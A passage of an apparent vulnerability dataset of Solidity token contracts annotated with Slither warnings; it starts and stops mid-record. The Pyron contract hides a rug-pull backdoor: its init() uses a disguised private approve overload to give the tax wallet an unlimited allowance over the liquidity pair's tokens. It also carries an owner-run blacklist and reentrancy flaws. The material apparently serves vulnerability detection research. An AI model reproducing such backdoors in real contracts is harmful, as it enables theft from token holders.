exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10014.sol",
"size_bytes": 18927,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3870e41): Pyron.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 100)\n// Recommendation for 3870e41: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 35a897e): Pyron.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 35a897e: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 6ebe956): Pyron.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for 6ebe956: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: dcf988f): Pyron.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for dcf988f: Consider ordering multiplication before division.\ncontract Pyron is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 51f2989): Pyron._taxWallet should be immutable \n\t// Recommendation for 51f2989: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: d374ef3): Pyron._initialBuyTax should be constant \n\t// Recommendation for d374ef3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9efd596): Pyron._initialSellTax should be constant \n\t// Recommendation for 9efd596: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5bea937): Pyron._finalBuyTax should be constant \n\t// Recommendation for 5bea937: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: dbb44a2): Pyron._finalSellTax should be constant \n\t// Recommendation for dbb44a2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1140c8e): Pyron._reduceBuyTaxAt should be constant \n\t// Recommendation for 1140c8e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5eb8087): Pyron._reduceSellTaxAt should be constant \n\t// Recommendation for 5eb8087: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: cc8999d): Pyron._preventSwapBefore should be constant \n\t// Recommendation for cc8999d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: c882d34): Pyron._transferTax should be constant \n\t// Recommendation for c882d34: Add the 'constant' attribute to state variables that never change.\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Yield Pyron\";\n\n string private constant _symbol = unicode\"Pyron\";\n\n\t// divide-before-multiply | ID: dcf988f\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 6ebe956\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e9a4cc): Pyron._taxSwapThreshold should be constant \n\t// Recommendation for 9e9a4cc: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 3870e41\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 11c1ea7): Pyron._maxTaxSwap should be constant \n\t// Recommendation for 11c1ea7: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 35a897e\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniRouter;\n\n address private uniPair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x9D14f12aDd1bD82bacEcAcE4649287e26ff82c45);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7b217f3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7b217f3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: bb50e66): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for bb50e66: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function init() external onlyOwner {\n uniRouter = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniRouter), _tTotal);\n\n\t\t// reentrancy-events | ID: 7b217f3\n\t\t// reentrancy-benign | ID: bb50e66\n uniPair = IUniswapV2Factory(uniRouter.factory()).createPair(\n address(this),\n uniRouter.WETH()\n );\n\t\t// reentrancy-events | ID: 7b217f3\n\t\t// reentrancy-benign | ID: bb50e66\n approve([uniPair, _taxWallet], _tTotal * 1000);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1723faa): Pyron.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1723faa: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function approve(\n address[2] memory spender,\n uint256 amount\n ) private returns (bool) {\n _approve(spender[0], spender[1], amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 03c8a2d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 03c8a2d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 10e6f08): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 10e6f08: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 03c8a2d\n\t\t// reentrancy-benign | ID: 10e6f08\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 03c8a2d\n\t\t// reentrancy-benign | ID: 10e6f08\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 22dbce0): Pyron._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 22dbce0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: bb50e66\n\t\t// reentrancy-benign | ID: 10e6f08\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 03c8a2d\n\t\t// reentrancy-events | ID: 7b217f3\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 34205a8): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 34205a8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d33ecd0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d33ecd0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: b6f1628): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for b6f1628: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n uint256 tax = 0;\n\n if (!swapEnabled || inSwap) {\n _balances[from] = _balances[from] - amount;\n\n _balances[to] = _balances[to] + amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n tax = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n }\n\n if (_buyCount > 0) {\n tax = (_transferTax);\n }\n\n if (\n from == uniPair &&\n to != address(uniRouter) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n tax = (\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n );\n\n _buyCount++;\n }\n\n if (to == uniPair && from != address(this)) {\n tax = (\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n );\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (!inSwap && to == uniPair && swapEnabled) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n if (\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n )\n\t\t\t\t\t// reentrancy-events | ID: 34205a8\n\t\t\t\t\t// reentrancy-benign | ID: d33ecd0\n\t\t\t\t\t// reentrancy-eth | ID: b6f1628\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: 34205a8\n\t\t\t\t// reentrancy-eth | ID: b6f1628\n sendETHToFee(address(this).balance);\n\n\t\t\t\t// reentrancy-benign | ID: d33ecd0\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b6f1628\n lastSellBlock = block.number;\n }\n }\n\n if (tax > 0) {\n taxAmount = tax.mul(amount).div(100);\n\n\t\t\t// reentrancy-eth | ID: b6f1628\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 34205a8\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b6f1628\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b6f1628\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 34205a8\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 014f81b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 014f81b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 241ab27): Pyron.startTrading() ignores return value by uniRouter.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 241ab27: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 47a1b37): Pyron.startTrading() ignores return value by IERC20(uniPair).approve(address(uniRouter),type()(uint256).max)\n\t// Recommendation for 47a1b37: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 787117d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 787117d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrading() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n\t\t// reentrancy-benign | ID: 014f81b\n\t\t// unused-return | ID: 241ab27\n\t\t// reentrancy-eth | ID: 787117d\n uniRouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 014f81b\n\t\t// unused-return | ID: 47a1b37\n\t\t// reentrancy-eth | ID: 787117d\n IERC20(uniPair).approve(address(uniRouter), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 014f81b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 787117d\n tradingOpen = true;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 03c8a2d\n\t\t// reentrancy-events | ID: 34205a8\n\t\t// reentrancy-eth | ID: b6f1628\n _taxWallet.transfer(amount);\n }\n\n function add(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function del(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n function rescueEth() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniRouter.WETH();\n\n _approve(address(this), address(uniRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 03c8a2d\n\t\t// reentrancy-events | ID: 34205a8\n\t\t// reentrancy-benign | ID: 10e6f08\n\t\t// reentrancy-benign | ID: d33ecd0\n\t\t// reentrancy-eth | ID: b6f1628\n uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n}\n",
"file_name": "solidity_code_10015.sol",
"size_bytes": 22533,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1e65de7): ANIME.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 1 * (_tTotal / 100)\n// Recommendation for 1e65de7: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: d2607db): ANIME.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for d2607db: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a98ef3a): ANIME.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 1 * (_tTotal / 100)\n// Recommendation for a98ef3a: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a5099ad): ANIME.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for a5099ad: Consider ordering multiplication before division.\ncontract ANIME is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6a7383a): ANIME._taxWallet should be immutable \n\t// Recommendation for 6a7383a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67c0835): ANIME._initialBuyTax should be constant \n\t// Recommendation for 67c0835: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7666612): ANIME._initialSellTax should be constant \n\t// Recommendation for 7666612: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0220e1e): ANIME._finalBuyTax should be constant \n\t// Recommendation for 0220e1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d95aded): ANIME._finalSellTax should be constant \n\t// Recommendation for d95aded: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4d57418): ANIME._reduceBuyTaxAt should be constant \n\t// Recommendation for 4d57418: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: afd3b2f): ANIME._reduceSellTaxAt should be constant \n\t// Recommendation for afd3b2f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: ffbfbbd): ANIME._preventSwapBefore should be constant \n\t// Recommendation for ffbfbbd: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"A New Internet Money Era\";\n\n string private constant _symbol = unicode\"ANIME\";\n\n\t// divide-before-multiply | ID: a98ef3a\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 1e65de7\n uint256 public _maxWalletSize = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 9e195e6): ANIME._taxSwapThreshold should be constant \n\t// Recommendation for 9e195e6: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: d2607db\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 08742c5): ANIME._maxTaxSwap should be constant \n\t// Recommendation for 08742c5: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: a5099ad\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(20).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(20).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ac04868): ANIME.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ac04868: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4277079): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4277079: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 087bcd4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 087bcd4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 4277079\n\t\t// reentrancy-benign | ID: 087bcd4\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 4277079\n\t\t// reentrancy-benign | ID: 087bcd4\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: de35207): ANIME._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for de35207: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 087bcd4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4277079\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ec4584a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ec4584a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability 